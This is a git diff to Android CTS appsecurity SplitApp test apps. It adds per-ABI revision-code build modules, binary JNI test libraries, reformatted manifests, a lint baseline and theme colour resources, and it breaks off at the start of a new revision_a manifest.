diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
new file mode 100755
index 0000000..b5c0be7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw_revision/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 0322dcd..7da6e34 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_armeabi
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
index 95fdb23..296e3b7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_armeabi">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
index 8977e70..1a979df 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
new file mode 100755
index 0000000..d4e34fa
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/raw_revision/lib/armeabi/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index 4ee13ba..481c7fe 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_mips
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
index 53ea38f..a35083f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_mips">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
index 45b8382..f50540d 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
new file mode 100755
index 0000000..78b6faf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/raw_revision/lib/mips/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 03c4305..1b29cf5 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_mips64
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
index 0b75613..f21da1f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_mips64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
index 8c29904..bd298c4 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
new file mode 100755
index 0000000..a1e67f2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/raw_revision/lib/mips64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index 14144a6..a561cdc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_x86
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
index 4219791..4a21985 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_x86">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
index 2993d92..9325b09 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
new file mode 100755
index 0000000..d7e2014
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/raw_revision/lib/x86/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 462c1cc..21ec259 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_x86_64
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
index e697d5c..0cef063 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_x86_64">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
index 23f4169..d977407 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
new file mode 100755
index 0000000..3cc4b22
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/raw_revision/lib/x86_64/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/lint-baseline.xml b/hostsidetests/appsecurity/test-apps/SplitApp/lint-baseline.xml
new file mode 100644
index 0000000..8a6a9c6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/lint-baseline.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<issues format="5" by="lint 4.1.0" client="cli" variant="all" version="4.1.0">
+
+    <issue
+        id="NewApi"
+        message="`@android:style/Theme.Material` requires API level 21 (current min is 4)"
+        errorLine1="    &lt;style name=&quot;Theme_Base&quot; parent=&quot;@android:style/Theme.Material&quot;>"
+        errorLine2="                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml"
+            line="18"
+            column="30"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="`android:navigationBarColor` requires API level 21 (current min is 4)"
+        errorLine1="        &lt;item name=&quot;android:navigationBarColor&quot;>@color/navigation_bar_color&lt;/item>"
+        errorLine2="              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml"
+            line="21"
+            column="15"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="`android:statusBarColor` requires API level 21 (current min is 4)"
+        errorLine1="        &lt;item name=&quot;android:statusBarColor&quot;>@color/status_bar_color&lt;/item>"
+        errorLine2="              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml"
+            line="22"
+            column="15"/>
+    </issue>
+
+</issues>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
index a2c050c..9cd26cf 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/needsplit/AndroidManifest.xml
@@ -15,44 +15,54 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.splitapp"
-    android:targetSandboxVersion="2"
-    android:isSplitRequired="true" >
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2"
+     android:isSplitRequired="true">
 
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner,
+        androidx.test.rules, androidx.test.monitor, androidx.test.services.storage" android:targetSdkVersion="27"/>
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
 
     <application android:label="SplitApp">
-        <activity android:name=".MyActivity">
+        <activity android:name=".MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
         </activity>
         <receiver android:name=".MyReceiver"
-                android:enabled="@bool/my_receiver_enabled">
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
+                <action android:name="android.intent.action.DATE_CHANGED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".LockedBootReceiver" android:exported="true" android:directBootAware="true">
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
             <intent-filter>
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".BootReceiver" android:exported="true">
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.splitapp" />
+         android:targetPackage="com.android.cts.splitapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..cb95205
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/content"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="?attr/customColor">
+
+    <TextView android:id="@+id/text"
+        android:layout_height="wrap_content"
+        android:layout_width="wrap_content"
+        android:text="@string/my_string1"
+        android:background="?android:attr/colorBackground"/>
+
+</LinearLayout>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
new file mode 100644
index 0000000..e1961a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue_light</color>
+    <color name="navigation_bar_color">@color/teal_light</color>
+    <color name="status_bar_color">@color/aqua_light</color>
+
+    <color name="blue_light">#ffadd8e6</color>
+    <color name="teal_light">#ffe0f0f0</color>
+    <color name="aqua_light">#ffe0ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..ecde812
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="customColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
new file mode 100644
index 0000000..5cd838a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- cool colors for Theme_Base -->
+    <color name="custom_color">@color/blue</color>
+    <color name="navigation_bar_color">@color/teal</color>
+    <color name="status_bar_color">@color/aqua</color>
+
+    <color name="blue">#ff0000ff</color>
+    <color name="teal">#ff008080</color>
+    <color name="aqua">#ff00ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
new file mode 100644
index 0000000..f509892
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Base" parent="@android:style/Theme.Material">
+        <item name="customColor">@color/custom_color</item>
+        <item name="android:windowBackground">@drawable/base_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
deleted file mode 100644
index 727c6c5c..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.splitapp"
-        android:targetSandboxVersion="2"
-        android:revisionCode="12">
-
-    <uses-sdk android:targetSdkVersion="27" />
-
-    <uses-permission android:name="android.permission.CAMERA" />
-
-    <application android:label="SplitApp">
-        <activity android:name=".MyActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
-        </activity>
-        <receiver android:name=".MyReceiver"
-                android:enabled="@bool/my_receiver_enabled">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
-            </intent-filter>
-        </receiver>
-
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.splitapp" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..28bef9d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
